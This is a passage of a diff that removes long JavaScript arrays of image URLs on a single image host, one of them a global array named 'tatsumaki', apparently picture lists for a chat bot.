-'https://img.nickpic.host/q4Yzd5.jpg',
-'https://img.nickpic.host/q4Y85P.jpg',
-'https://img.nickpic.host/q4YKRM.jpg',
-'https://img.nickpic.host/q4YYJF.jpg',
-'https://img.nickpic.host/q4YNse.jpg',
-'https://img.nickpic.host/q4YVUX.jpg',
-'https://img.nickpic.host/q4Yffb.jpg',
-'https://img.nickpic.host/q4Y2pf.jpg',
-'https://img.nickpic.host/q4Y9E6.jpg',
-'https://img.nickpic.host/q4Ye8p.jpg',
-'https://img.nickpic.host/q4YkdY.jpg',
-'https://img.nickpic.host/q4YLSA.jpg',
-'https://img.nickpic.host/q4YP1G.jpg',
-'https://img.nickpic.host/q4YTJz.jpg',
-'https://img.nickpic.host/q4HIvj.jpg',
-'https://img.nickpic.host/q4YZ3c.jpg',
-'https://img.nickpic.host/q4YdUW.jpg',
-'https://img.nickpic.host/q4Yyf1.jpg',
-'https://img.nickpic.host/q4HmEJ.jpg',
-'https://img.nickpic.host/q4Ho8n.jpg',
-'https://img.nickpic.host/q4Hpys.jpg',
-'https://img.nickpic.host/q4HxS2.jpg',
-'https://img.nickpic.host/q4HB1Q.jpg',
-'https://img.nickpic.host/q4HbLx.jpg',
-'https://img.nickpic.host/q4Hs3N.jpg',
-'https://img.nickpic.host/q4H3XO.jpg',
-'https://img.nickpic.host/q4HF0m.jpg',
-'https://img.nickpic.host/q4Hjv8.jpg',
-'https://img.nickpic.host/q4H58d.jpg',
-'https://img.nickpic.host/q4HlOq.jpg',
-'https://img.nickpic.host/q4HSyD.jpg',
-'https://img.nickpic.host/q4Hgc5.jpg',
-'https://img.nickpic.host/q4Hq1P.jpg',
-'https://img.nickpic.host/q4HuLM.jpg',
-'https://img.nickpic.host/q4HEFF.jpg',
-'https://img.nickpic.host/q4HOXe.jpg',
-'https://img.nickpic.host/q4Hh0X.jpg',
-'https://img.nickpic.host/q4HCxb.jpg',
-'https://img.nickpic.host/q4HQOf.jpg',
-'https://img.nickpic.host/q4HUK6.jpg',
-'https://img.nickpic.host/q4HiGp.jpg',
-'https://img.nickpic.host/q4HncY.jpg',
-'https://img.nickpic.host/q4Ht4A.jpg',
-'https://img.nickpic.host/q4HMPG.jpg',
-'https://img.nickpic.host/q4H1Fz.jpg',
-'https://img.nickpic.host/q4H4ic.jpg',
-'https://img.nickpic.host/q4HD0W.jpg',
-'https://img.nickpic.host/q4H7hj.jpg',
-'https://img.nickpic.host/q4Hzx1.jpg',
-'https://img.nickpic.host/q4H8KJ.jpg',
-'https://img.nickpic.host/q4HYGn.jpg',
-'https://img.nickpic.host/q4HHgs.jpg',
-'https://img.nickpic.host/q4HN42.jpg',
-'https://img.nickpic.host/q4HVPQ.jpg',
-'https://img.nickpic.host/q4H0ax.jpg',
-'https://img.nickpic.host/q4H2iN.jpg',
-'https://img.nickpic.host/q4H92O.jpg',
-'https://img.nickpic.host/q4HkBm.jpg',
-'https://img.nickpic.host/q4HJh8.jpg',
-'https://img.nickpic.host/q4HLYq.jpg',
-'https://img.nickpic.host/q4HTGd.jpg',
-'https://img.nickpic.host/q4HWgD.jpg',
-'https://img.nickpic.host/q4HZD5.jpg',
-'https://img.nickpic.host/q4HdPP.jpg',
-'https://img.nickpic.host/q4NGaM.jpg',
-'https://img.nickpic.host/q4NInF.jpg',
-'https://img.nickpic.host/q4NpBX.jpg',
-'https://img.nickpic.host/q4Nm2e.jpg',
-'https://img.nickpic.host/q4Nv6b.jpg',
-'https://img.nickpic.host/q4NxYf.jpg',
-'https://img.nickpic.host/q4NbI6.jpg',
-'https://img.nickpic.host/q4Nrqp.jpg',
-'https://img.nickpic.host/q4NsDY.jpg',
-'https://img.nickpic.host/q4NajG.jpg',
-'https://img.nickpic.host/q4N3TA.jpg',
-'https://img.nickpic.host/q4Njnz.jpg',
-'https://img.nickpic.host/q4Nl9c.jpg',
-'https://img.nickpic.host/q4NSBW.jpg',
-'https://img.nickpic.host/q4Nc61.jpg',
-'https://img.nickpic.host/q4NgHj.jpg',
-'https://img.nickpic.host/q4NOT2.jpg',
-'https://img.nickpic.host/q4NuIJ.jpg',
-'https://img.nickpic.host/q4NAqn.jpg',
-'https://img.nickpic.host/q4NEws.jpg',
-'https://img.nickpic.host/q4N6jQ.jpg',
-'https://img.nickpic.host/q4NCtx.jpg',
-'https://img.nickpic.host/q4NQ9N.jpg',
-'https://img.nickpic.host/q4NXbO.jpg',
-'https://img.nickpic.host/q4NiCm.jpg',
-'https://img.nickpic.host/q4NMmq.jpg',
-'https://img.nickpic.host/q4NnH8.jpg',
-'https://img.nickpic.host/q4NRqd.jpg',
-'https://img.nickpic.host/q4N1wD.jpg',
-'https://img.nickpic.host/q4N4W5.jpg',
-'https://img.nickpic.host/q4NwjP.jpg',
-'https://img.nickpic.host/q4NztM.jpg',
-'https://img.nickpic.host/q4NKbe.jpg',
-'https://img.nickpic.host/q4NYCX.jpg',
-'https://img.nickpic.host/q4N7eF.jpg',
-'https://img.nickpic.host/q4NHNb.jpg',
-'https://img.nickpic.host/q4NVmf.jpg',
-'https://img.nickpic.host/q4Nfu6.jpg',
-'https://img.nickpic.host/q4N0zp.jpg',
-'https://img.nickpic.host/q4N2WY.jpg',
-'https://img.nickpic.host/q4NelA.jpg',
-'https://img.nickpic.host/q4NJez.jpg',
-'https://img.nickpic.host/q4NkMG.jpg',
-'https://img.nickpic.host/q4NTCW.jpg',
-'https://img.nickpic.host/q4NPrc.jpg',
-'https://img.nickpic.host/q4NWN1.jpg',
-'https://img.nickpic.host/q4NyuJ.jpg',
-'https://img.nickpic.host/q4Ndoj.jpg',
-'https://img.nickpic.host/q4VGzn.jpg',
-'https://img.nickpic.host/q4VIZs.jpg',
-'https://img.nickpic.host/q4VpMQ.jpg',
-'https://img.nickpic.host/q4Vol2.jpg',
-'https://img.nickpic.host/q4Vvkx.jpg',
-'https://img.nickpic.host/q4VBrN.jpg',
-'https://img.nickpic.host/q4VbQO.jpg',
-'https://img.nickpic.host/q4VrVm.jpg',
-'https://img.nickpic.host/q4VFAq.jpg',
-'https://img.nickpic.host/q4V3o8.jpg',
-'https://img.nickpic.host/q4Vazd.jpg',
-'https://img.nickpic.host/q4VjZD.jpg',
-'https://img.nickpic.host/q4V555.jpg',
-'https://img.nickpic.host/q4VSMP.jpg',
-'https://img.nickpic.host/q4VckM.jpg',
-'https://img.nickpic.host/q4VAVX.jpg',
-'https://img.nickpic.host/q4V4p1.jpg',
-'https://img.nickpic.host/q4VOpb.jpg',
-'https://img.nickpic.host/q4VqsF.jpg',
-'https://img.nickpic.host/q4VuQe.jpg',
-'https://img.nickpic.host/q4VhAf.jpg',
-'https://img.nickpic.host/q4V676.jpg',
-'https://img.nickpic.host/q4VCdp.jpg',
-'https://img.nickpic.host/q4VU5Y.jpg',
-'https://img.nickpic.host/q4VXRA.jpg',
-'https://img.nickpic.host/q4ViJG.jpg',
-'https://img.nickpic.host/q4Vtsz.jpg',
-'https://img.nickpic.host/q4VMUc.jpg',
-'https://img.nickpic.host/q4VRVW.jpg',
-'https://img.nickpic.host/q4VDEj.jpg',
-'https://img.nickpic.host/q4Vw7J.jpg',
-'https://img.nickpic.host/q4Vzdn.jpg',
-'https://img.nickpic.host/q4V8Ss.jpg',
-'https://img.nickpic.host/q4VKR2.jpg',
-'https://img.nickpic.host/q4VVUN.jpg',
-'https://img.nickpic.host/q4VYJQ.jpg',
-'https://img.nickpic.host/q4VN3x.jpg',
-'https://img.nickpic.host/q4VffO.jpg',
-'https://img.nickpic.host/q4V2vm.jpg',
-'https://img.nickpic.host/q4Ve8q.jpg',
-'https://img.nickpic.host/q4V9E8.jpg',
-'https://img.nickpic.host/q4Vkdd.jpg',
-'https://img.nickpic.host/q4VTJP.jpg',
-'https://img.nickpic.host/q4VLSD.jpg',
-'https://img.nickpic.host/q4VP15.jpg',
-'https://img.nickpic.host/q4VZ3M.jpg',
-'https://img.nickpic.host/q4VdXF.jpg',
-'https://img.nickpic.host/q4fIvX.jpg',
-'https://img.nickpic.host/q4Vyfe.jpg',
-'https://img.nickpic.host/q4fo8f.jpg',
-'https://img.nickpic.host/q4fmOb.jpg',
-'https://img.nickpic.host/q4fpy6.jpg',
-'https://img.nickpic.host/q4fxcp.jpg',
-'https://img.nickpic.host/q4fB1Y.jpg',
-'https://img.nickpic.host/q4fsFG.jpg',
-'https://img.nickpic.host/q4fF0c.jpg',
-'https://img.nickpic.host/q4fbLA.jpg',
-'https://img.nickpic.host/q4f3Xz.jpg',
-'https://img.nickpic.host/q4flO1.jpg',
-'https://img.nickpic.host/q4fjvW.jpg',
-'https://img.nickpic.host/q4fgcn.jpg',
-'https://img.nickpic.host/q4f5Kj.jpg',
-'https://img.nickpic.host/q4fSyJ.jpg',
-'https://img.nickpic.host/q4fq4s.jpg',
-'https://img.nickpic.host/q4fuL2.jpg',
-'https://img.nickpic.host/q4fEFQ.jpg',
-'https://img.nickpic.host/q4fOix.jpg',
-'https://img.nickpic.host/q4fh0N.jpg',
-'https://img.nickpic.host/q4fCxO.jpg',
-'https://img.nickpic.host/q4fUK8.jpg',
-'https://img.nickpic.host/q4fiGq.jpg',
-'https://img.nickpic.host/q4fQhm.jpg',
-'https://img.nickpic.host/q4fncd.jpg',
-'https://img.nickpic.host/q4ft4D.jpg',
-'https://img.nickpic.host/q4f1FP.jpg',
-'https://img.nickpic.host/q4fMP5.jpg',
-'https://img.nickpic.host/q4f4iM.jpg',
-'https://img.nickpic.host/q4fD2F.jpg',
-'https://img.nickpic.host/q4fzxe.jpg',
-'https://img.nickpic.host/q4f8Yb.jpg',
-'https://img.nickpic.host/q4f7hX.jpg',
-'https://img.nickpic.host/q4fYGf.jpg',
-'https://img.nickpic.host/q4fHg6.jpg',
-'https://img.nickpic.host/q4fNDp.jpg',
-'https://img.nickpic.host/q4fVPY.jpg',
-'https://img.nickpic.host/q4f0aA.jpg',
-'https://img.nickpic.host/q4f2nG.jpg',
-'https://img.nickpic.host/q4fJhW.jpg',
-'https://img.nickpic.host/q4f92z.jpg',
-'https://img.nickpic.host/q4fkBc.jpg',
-'https://img.nickpic.host/q4fTIj.jpg',
-'https://img.nickpic.host/q4fLY1.jpg',
-'https://img.nickpic.host/q4fWgJ.jpg',
-'https://img.nickpic.host/q4fZDn.jpg',
-'https://img.nickpic.host/q4fdTs.jpg',
-'https://img.nickpic.host/q40InQ.jpg',
-'https://img.nickpic.host/q40Ga2.jpg',
-'https://img.nickpic.host/q40m9x.jpg',
-'https://img.nickpic.host/q40pBN.jpg',
-'https://img.nickpic.host/q40xHm.jpg',
-'https://img.nickpic.host/q40v6O.jpg',
-'https://img.nickpic.host/q40bI8.jpg',
-'https://img.nickpic.host/q40rqq.jpg',
-'https://img.nickpic.host/q40sDd.jpg',
-'https://img.nickpic.host/q40aj5.jpg',
-'https://img.nickpic.host/q403TD.jpg',
-'https://img.nickpic.host/q40jnP.jpg',
-'https://img.nickpic.host/q40l9M.jpg',
-'https://img.nickpic.host/q40SbF.jpg',
-'https://img.nickpic.host/q40gHX.jpg',
-'https://img.nickpic.host/q40c6e.jpg',
-'https://img.nickpic.host/q40umb.jpg',
-'https://img.nickpic.host/q40Aqf.jpg',
-'https://img.nickpic.host/q40Ew6.jpg',
-'https://img.nickpic.host/q406jY.jpg',
-'https://img.nickpic.host/q40OWp.jpg',
-'https://img.nickpic.host/q40CtA.jpg',
-'https://img.nickpic.host/q40QeG.jpg',
-'https://img.nickpic.host/q40Xbz.jpg',
-'https://img.nickpic.host/q40iCc.jpg',
-'https://img.nickpic.host/q40nHW.jpg',
-'https://img.nickpic.host/q40Mm1.jpg',
-'https://img.nickpic.host/q40Ruj.jpg',
-'https://img.nickpic.host/q40zt2.jpg',
-'https://img.nickpic.host/q401wJ.jpg',
-'https://img.nickpic.host/q404Wn.jpg',
-'https://img.nickpic.host/q40wls.jpg',
-'https://img.nickpic.host/q407eQ.jpg',
-'https://img.nickpic.host/q40Krx.jpg',
-'https://img.nickpic.host/q40HNO.jpg',
-'https://img.nickpic.host/q40Vom.jpg',
-'https://img.nickpic.host/q40YCN.jpg',
-'https://img.nickpic.host/q40fu8.jpg',
-'https://img.nickpic.host/q402Wd.jpg',
-'https://img.nickpic.host/q400zq.jpg',
-'https://img.nickpic.host/q40elD.jpg',
-'https://img.nickpic.host/q40kM5.jpg',
-'https://img.nickpic.host/q40JeP.jpg',
-'https://img.nickpic.host/q40PrM.jpg',
-'https://img.nickpic.host/q42IZ6.jpg',
-'https://img.nickpic.host/q40TQF.jpg',
-'https://img.nickpic.host/q40WNe.jpg',
-'https://img.nickpic.host/q40doX.jpg',
-'https://img.nickpic.host/q40yAb.jpg',
-'https://img.nickpic.host/q42Gzf.jpg',
-'https://img.nickpic.host/q42pMY.jpg',
-'https://img.nickpic.host/q42o5p.jpg',
-'https://img.nickpic.host/q42BsG.jpg',
-'https://img.nickpic.host/q42vkA.jpg',
-'https://img.nickpic.host/q42bQz.jpg',
-'https://img.nickpic.host/q42rVc.jpg',
-'https://img.nickpic.host/q423oW.jpg',
-'https://img.nickpic.host/q42a7j.jpg',
-'https://img.nickpic.host/q42FA1.jpg',
-'https://img.nickpic.host/q42jZJ.jpg',
-'https://img.nickpic.host/q4255n.jpg',
-'https://img.nickpic.host/q42ck2.jpg',
-'https://img.nickpic.host/q42SRs.jpg',
-'https://img.nickpic.host/q42qsQ.jpg',
-'https://img.nickpic.host/q42uUx.jpg',
-'https://img.nickpic.host/q42OpO.jpg',
-'https://img.nickpic.host/q42AVN.jpg',
-'https://img.nickpic.host/q42hEm.jpg',
-'https://img.nickpic.host/q42678.jpg',
-'https://img.nickpic.host/q42Cdq.jpg',
-'https://img.nickpic.host/q42U5d.jpg',
-'https://img.nickpic.host/q42XRD.jpg',
-'https://img.nickpic.host/q42MUM.jpg',
-'https://img.nickpic.host/q42iJ5.jpg',
-'https://img.nickpic.host/q42tsP.jpg',
-'https://img.nickpic.host/q42RfF.jpg',
-'https://img.nickpic.host/q424pe.jpg',
-'https://img.nickpic.host/q42DEX.jpg',
-'https://img.nickpic.host/q42w8b.jpg',
-'https://img.nickpic.host/q42zdf.jpg',
-'https://img.nickpic.host/q428S6.jpg',
-'https://img.nickpic.host/q42K1p.jpg',
-'https://img.nickpic.host/q42YJY.jpg',
-'https://img.nickpic.host/q42ffz.jpg',
-'https://img.nickpic.host/q42N3A.jpg',
-'https://img.nickpic.host/q42VXG.jpg',
-'https://img.nickpic.host/q422vc.jpg',
-'https://img.nickpic.host/q42e81.jpg',
-'https://img.nickpic.host/q42P1n.jpg',
-'https://img.nickpic.host/q429EW.jpg',
-'https://img.nickpic.host/q42kyj.jpg',
-'https://img.nickpic.host/q42LSJ.jpg',
-'https://img.nickpic.host/q42TLs.jpg',
-'https://img.nickpic.host/q42dXQ.jpg',
-'https://img.nickpic.host/q49IvN.jpg',
-'https://img.nickpic.host/q42y0x.jpg',
-'https://img.nickpic.host/q49mOO.jpg',
-'https://img.nickpic.host/q49oKm.jpg',
-'https://img.nickpic.host/q49py8.jpg',
-'https://img.nickpic.host/q49xcq.jpg',
-'https://img.nickpic.host/q49B1d.jpg',
-'https://img.nickpic.host/q49bLD.jpg',
-'https://img.nickpic.host/q49sF5.jpg',
-'https://img.nickpic.host/q493XP.jpg',
-'https://img.nickpic.host/q49F0M.jpg',
-'https://img.nickpic.host/q49jxF.jpg',
-'https://img.nickpic.host/q49lOe.jpg',
-'https://img.nickpic.host/q495KX.jpg',
-'https://img.nickpic.host/q49cGb.jpg',
-'https://img.nickpic.host/q49gcf.jpg',
-'https://img.nickpic.host/q49q46.jpg',
-'https://img.nickpic.host/q49uPp.jpg',
-'https://img.nickpic.host/q49EFY.jpg',
-'https://img.nickpic.host/q49h2G.jpg',
-'https://img.nickpic.host/q49OiA.jpg',
-'https://img.nickpic.host/q49Qhc.jpg',
-'https://img.nickpic.host/q49Cxz.jpg',
-'https://img.nickpic.host/q49UKW.jpg',
-'https://img.nickpic.host/q49iG1.jpg',
-'https://img.nickpic.host/q49MPn.jpg',
-'https://img.nickpic.host/q494i2.jpg',
-'https://img.nickpic.host/q49ngj.jpg',
-'https://img.nickpic.host/q49t4J.jpg',
-'https://img.nickpic.host/q491as.jpg',
-'https://img.nickpic.host/q49D2Q.jpg',
-'https://img.nickpic.host/q49zBx.jpg',
-'https://img.nickpic.host/q498YO.jpg',
-'https://img.nickpic.host/q497hN.jpg',
-'https://img.nickpic.host/q49YIm.jpg',
-'https://img.nickpic.host/q49NDq.jpg',
-'https://img.nickpic.host/q49Hg8.jpg',
-'https://img.nickpic.host/q490aD.jpg',
-'https://img.nickpic.host/q49VPd.jpg',
-'https://img.nickpic.host/q492n5.jpg',
-'https://img.nickpic.host/q4992P.jpg',
-'https://img.nickpic.host/q49kBM.jpg',
-'https://img.nickpic.host/q49LYe.jpg',
-'https://img.nickpic.host/q49J6F.jpg',
-'https://img.nickpic.host/q49TIX.jpg',
-'https://img.nickpic.host/q49Wqb.jpg',
-'https://img.nickpic.host/q4eGjp.jpg',
-'https://img.nickpic.host/q49ZDf.jpg',
-'https://img.nickpic.host/q49dT6.jpg',
-'https://img.nickpic.host/q4eInY.jpg',
-'https://img.nickpic.host/q4em9A.jpg',
-'https://img.nickpic.host/q4ev6z.jpg',
-'https://img.nickpic.host/q4epbG.jpg',
-'https://img.nickpic.host/q4exHc.jpg',
-'https://img.nickpic.host/q4ebIW.jpg',
-'https://img.nickpic.host/q4eswj.jpg',
-'https://img.nickpic.host/q4erq1.jpg',
-'https://img.nickpic.host/q4eajn.jpg',
-'https://img.nickpic.host/q4e3TJ.jpg',
-'https://img.nickpic.host/q4ejts.jpg',
-'https://img.nickpic.host/q4eSbQ.jpg',
-'https://img.nickpic.host/q4el92.jpg',
-'https://img.nickpic.host/q4ecCx.jpg',
-'https://img.nickpic.host/q4egHN.jpg',
-'https://img.nickpic.host/q4eumO.jpg',
-'https://img.nickpic.host/q4eAum.jpg',
-'https://img.nickpic.host/q4eEw8.jpg',
-'https://img.nickpic.host/q4e6jd.jpg',
-'https://img.nickpic.host/q4eOWq.jpg',
-'https://img.nickpic.host/q4eCtD.jpg',
-'https://img.nickpic.host/q4eQe5.jpg',
-'https://img.nickpic.host/q4eXbP.jpg',
-'https://img.nickpic.host/q4eiCM.jpg',
-'https://img.nickpic.host/q4enNF.jpg',
-'https://img.nickpic.host/q4eMme.jpg',
-'https://img.nickpic.host/q4eRuX.jpg',
-'https://img.nickpic.host/q4e1zb.jpg',
-'https://img.nickpic.host/q4e4Wf.jpg',
-'https://img.nickpic.host/q4ewl6.jpg',
-'https://img.nickpic.host/q4ezMp.jpg',
-'https://img.nickpic.host/q4e7eY.jpg',
-'https://img.nickpic.host/q4eKrA.jpg',
-'https://img.nickpic.host/q4eYQG.jpg',
-'https://img.nickpic.host/q4eHNz.jpg',
-'https://img.nickpic.host/q4eVoc.jpg',
-'https://img.nickpic.host/q4efuW.jpg',
-'https://img.nickpic.host/q4e0z1.jpg',
-'https://img.nickpic.host/q4e2Zj.jpg',
-'https://img.nickpic.host/q4eelJ.jpg',
-'https://img.nickpic.host/q4ekMn.jpg',
-'https://img.nickpic.host/q4ePr2.jpg',
-'https://img.nickpic.host/q4eJks.jpg',
-'https://img.nickpic.host/q4eTQQ.jpg',
-'https://img.nickpic.host/q4edoN.jpg',
-'https://img.nickpic.host/q4eWVx.jpg',
-'https://img.nickpic.host/q4kG7m.jpg',
-'https://img.nickpic.host/q4eyAO.jpg',
-'https://img.nickpic.host/q4kIZ8.jpg',
-'https://img.nickpic.host/q4kpMd.jpg',
-'https://img.nickpic.host/q4ko5q.jpg',
-'https://img.nickpic.host/q4kBs5.jpg',
-'https://img.nickpic.host/q4kvkD.jpg',
-'https://img.nickpic.host/q4kbQP.jpg',
-'https://img.nickpic.host/q4k3pF.jpg',
-'https://img.nickpic.host/q4krVM.jpg',
-'https://img.nickpic.host/q4ka7X.jpg',
-'https://img.nickpic.host/q4kFAe.jpg',
-'https://img.nickpic.host/q4k55f.jpg',
-'https://img.nickpic.host/q4kjdb.jpg',
-'https://img.nickpic.host/q4kSR6.jpg',
-'https://img.nickpic.host/q4kcJp.jpg',
-'https://img.nickpic.host/q4kqsY.jpg',
-'https://img.nickpic.host/q4kuUA.jpg',
-'https://img.nickpic.host/q4kAfG.jpg',
-'https://img.nickpic.host/q4kOpz.jpg',
-'https://img.nickpic.host/q4k67W.jpg',
-'https://img.nickpic.host/q4khEc.jpg',
-'https://img.nickpic.host/q4kCd1.jpg',
-'https://img.nickpic.host/q4kUSj.jpg',
-'https://img.nickpic.host/q4kXRJ.jpg',
-'https://img.nickpic.host/q4kiJn.jpg',
-'https://img.nickpic.host/q4kt3s.jpg',
-'https://img.nickpic.host/q4kMU2.jpg',
-'https://img.nickpic.host/q4k4vx.jpg',
-'https://img.nickpic.host/q4kRfQ.jpg',
-'https://img.nickpic.host/q4kDEN.jpg',
-'https://img.nickpic.host/q4kw8O.jpg',
-'https://img.nickpic.host/q4kzym.jpg',
-'https://img.nickpic.host/q4k8S8.jpg',
-'https://img.nickpic.host/q4kK1q.jpg',
-'https://img.nickpic.host/q4kYJd.jpg',
-'https://img.nickpic.host/q4kN3D.jpg',
-'https://img.nickpic.host/q4kVX5.jpg',
-'https://img.nickpic.host/q4kffP.jpg',
-'https://img.nickpic.host/q4k2vM.jpg',
-'https://img.nickpic.host/q4k9OF.jpg',
-'https://img.nickpic.host/q4ke8e.jpg',
-'https://img.nickpic.host/q4kkyX.jpg',
-'https://img.nickpic.host/q4kLcb.jpg',
-'https://img.nickpic.host/q4kP1f.jpg',
-'https://img.nickpic.host/q4kTL6.jpg',
-'https://img.nickpic.host/q4kZFp.jpg',
-'https://img.nickpic.host/q4kdXY.jpg',
-'https://img.nickpic.host/q4ky0A.jpg',
-'https://img.nickpic.host/q4JIxG.jpg',
-'https://img.nickpic.host/q4JmOz.jpg',
-'https://img.nickpic.host/q4JoKc.jpg',
-'https://img.nickpic.host/q4JpyW.jpg',
-'https://img.nickpic.host/q4Jxc1.jpg',
-'https://img.nickpic.host/q4JB4j.jpg',
-'https://img.nickpic.host/q4JbLJ.jpg',
-'https://img.nickpic.host/q4JsFn.jpg',
-'https://img.nickpic.host/q4J3is.jpg',
-'https://img.nickpic.host/q4JjxQ.jpg',
-'https://img.nickpic.host/q4JF02.jpg',
-'https://img.nickpic.host/q4Jlhx.jpg',
-'https://img.nickpic.host/q4J5KN.jpg',
-'https://img.nickpic.host/q4JcGO.jpg',
-'https://img.nickpic.host/q4Jq48.jpg',
-'https://img.nickpic.host/q4Jggm.jpg',
-'https://img.nickpic.host/q4JuPq.jpg',
-'https://img.nickpic.host/q4JEFd.jpg',
-'https://img.nickpic.host/q4JOiD.jpg',
-'https://img.nickpic.host/q4JQhM.jpg',
-'https://img.nickpic.host/q4Jh25.jpg',
-'https://img.nickpic.host/q4JCxP.jpg',
-'https://img.nickpic.host/q4JUYF.jpg',
-'https://img.nickpic.host/q4JiGe.jpg',
-'https://img.nickpic.host/q4JtDb.jpg',
-'https://img.nickpic.host/q4JngX.jpg',
-'https://img.nickpic.host/q4JMPf.jpg',
-'https://img.nickpic.host/q4J1a6.jpg',
-'https://img.nickpic.host/q4J4np.jpg',
-'https://img.nickpic.host/q4JD2Y.jpg',
-'https://img.nickpic.host/q4JzBA.jpg',
-'https://img.nickpic.host/q4J76G.jpg',
-'https://img.nickpic.host/q4JND1.jpg',
-'https://img.nickpic.host/q4JYIc.jpg',
-'https://img.nickpic.host/q4J8Yz.jpg',
-'https://img.nickpic.host/q4JHgW.jpg',
-'https://img.nickpic.host/q4JVTj.jpg',
-'https://img.nickpic.host/q4J2nn.jpg',
-'https://img.nickpic.host/q4J0aJ.jpg',
-'https://img.nickpic.host/q4J99s.jpg',
-'https://img.nickpic.host/q4JkB2.jpg',
-'https://img.nickpic.host/q4JJ6Q.jpg',
-'https://img.nickpic.host/q4JTIN.jpg',
-'https://img.nickpic.host/q4JLHx.jpg',
-'https://img.nickpic.host/q4JWqO.jpg',
-'https://img.nickpic.host/q4JZwm.jpg',
-'https://img.nickpic.host/q4JdT8.jpg',
-'https://img.nickpic.host/q4LGjq.jpg',
-'https://img.nickpic.host/q4LInd.jpg',
-'https://img.nickpic.host/q4Lpb5.jpg',
-'https://img.nickpic.host/q4Lm9D.jpg',
-'https://img.nickpic.host/q4Lv6P.jpg',
-'https://img.nickpic.host/q4LxHM.jpg',
-'https://img.nickpic.host/q4LbmF.jpg',
-'https://img.nickpic.host/q4Lrqe.jpg',
-'https://img.nickpic.host/q4LswX.jpg',
-'https://img.nickpic.host/q4L3Wb.jpg',
-'https://img.nickpic.host/q4Lajf.jpg',
-'https://img.nickpic.host/q4Ljt6.jpg',
-'https://img.nickpic.host/q4Llep.jpg',
-'https://img.nickpic.host/q4LSbY.jpg',
-'https://img.nickpic.host/q4LgNG.jpg',
-'https://img.nickpic.host/q4LcCA.jpg',
-'https://img.nickpic.host/q4Lumz.jpg',
-'https://img.nickpic.host/q4LAuc.jpg',
-'https://img.nickpic.host/q4LEwW.jpg',
-'https://img.nickpic.host/q4LOW1.jpg',
-'https://img.nickpic.host/q4L6lj.jpg',
-'https://img.nickpic.host/q4LCtJ.jpg',
-'https://img.nickpic.host/q4LQen.jpg',
-'https://img.nickpic.host/q4LXrs.jpg',
-'https://img.nickpic.host/q4LiC2.jpg',
-'https://img.nickpic.host/q4LnNQ.jpg',
-'https://img.nickpic.host/q4LMox.jpg',
-'https://img.nickpic.host/q4LRuN.jpg',
-'https://img.nickpic.host/q4L1zO.jpg',
-'https://img.nickpic.host/q4L4Zm.jpg',
-'https://img.nickpic.host/q4Lwl8.jpg',
-'https://img.nickpic.host/q4LzMq.jpg',
-'https://img.nickpic.host/q4L7ed.jpg',
-'https://img.nickpic.host/q4LYQ5.jpg',
-'https://img.nickpic.host/q4LKrD.jpg',
-'https://img.nickpic.host/q4LHNP.jpg',
-'https://img.nickpic.host/q4LVoM.jpg',
-'https://img.nickpic.host/q4LfAF.jpg',
-'https://img.nickpic.host/q4L0ze.jpg',
-'https://img.nickpic.host/q4L2ZX.jpg',
-'https://img.nickpic.host/q4Le5b.jpg',
-'https://img.nickpic.host/q4LkMf.jpg',
-'https://img.nickpic.host/q4LJk6.jpg',
-'https://img.nickpic.host/q4LWVA.jpg',
-'https://img.nickpic.host/q4LPsp.jpg',
-'https://img.nickpic.host/q4LTQY.jpg',
-'https://img.nickpic.host/q4LyAz.jpg',
-'https://img.nickpic.host/q4LdpG.jpg',
-'https://img.nickpic.host/q4PIZW.jpg',
-'https://img.nickpic.host/q4PG7c.jpg',
-'https://img.nickpic.host/q4Po51.jpg',
-'https://img.nickpic.host/q4PvkJ.jpg',
-'https://img.nickpic.host/q4PbUs.jpg',
-'https://img.nickpic.host/q4PpRj.jpg',
-'https://img.nickpic.host/q4PrV2.jpg',
-'https://img.nickpic.host/q4PFEx.jpg',
-'https://img.nickpic.host/q4P3pQ.jpg',
-'https://img.nickpic.host/q4Pa7N.jpg',
-'https://img.nickpic.host/q4PjdO.jpg',
-'https://img.nickpic.host/q4P5Sm.jpg',
-'https://img.nickpic.host/q4PSR8.jpg',
-'https://img.nickpic.host/q4PuUD.jpg',
-'https://img.nickpic.host/q4Pqsd.jpg',
-'https://img.nickpic.host/q4PcJq.jpg',
-'https://img.nickpic.host/q4PAf5.jpg',
-'https://img.nickpic.host/q4POpP.jpg',
-'https://img.nickpic.host/q4PhEM.jpg',
-'https://img.nickpic.host/q4P68F.jpg',
-'https://img.nickpic.host/q4PCde.jpg']
-
-
-global.tatsumaki = ['https://img.nickpic.host/qLC16Q.jpg',
-'https://img.nickpic.host/qLC4Hx.jpg',
-'https://img.nickpic.host/qLCwIN.jpg',
-'https://img.nickpic.host/qLCzqO.jpg',
-'https://img.nickpic.host/qLC7wm.jpg',
-'https://img.nickpic.host/qLC8T8.jpg',
-'https://img.nickpic.host/qLCYjq.jpg',
-'https://img.nickpic.host/qLCHnd.jpg',
-'https://img.nickpic.host/qLCN9D.jpg',
-'https://img.nickpic.host/qLCfb5.jpg',
-'https://img.nickpic.host/qLC06P.jpg',
-'https://img.nickpic.host/qLC2HM.jpg',
-'https://img.nickpic.host/qLCemF.jpg',
-'https://img.nickpic.host/qLCkqe.jpg',
-'https://img.nickpic.host/qLCJwX.jpg',
-'https://img.nickpic.host/qLCLWb.jpg',
-'https://img.nickpic.host/qLCTjf.jpg',
-'https://img.nickpic.host/qLCWt6.jpg',
-'https://img.nickpic.host/qLCZep.jpg',
-'https://img.nickpic.host/qLCybY.jpg',
-'https://img.nickpic.host/qLQGCA.jpg',
-'https://img.nickpic.host/qLQING.jpg',
-'https://img.nickpic.host/qLQomz.jpg',
-'https://img.nickpic.host/qLQpuc.jpg',
-'https://img.nickpic.host/qLQvwW.jpg',
-'https://img.nickpic.host/qLQxW1.jpg',
-'https://img.nickpic.host/qLQblj.jpg',
-'https://img.nickpic.host/qLQrtJ.jpg',
-'https://img.nickpic.host/qLQsen.jpg',
-'https://img.nickpic.host/qLQFrs.jpg',
-'https://img.nickpic.host/qLQaC2.jpg',
-'https://img.nickpic.host/qLQjNQ.jpg',
-'https://img.nickpic.host/qLQ5ox.jpg',
-'https://img.nickpic.host/qLQSuN.jpg',
-'https://img.nickpic.host/qLQczO.jpg',
-'https://img.nickpic.host/qLQgZm.jpg',
-'https://img.nickpic.host/qLQul8.jpg',
-'https://img.nickpic.host/qLQAMq.jpg',
-'https://img.nickpic.host/qLQEed.jpg',
-'https://img.nickpic.host/qLQhrD.jpg',
-'https://img.nickpic.host/qLQ6Q5.jpg',
-'https://img.nickpic.host/qLQCNP.jpg',
-'https://img.nickpic.host/qLQUoM.jpg',
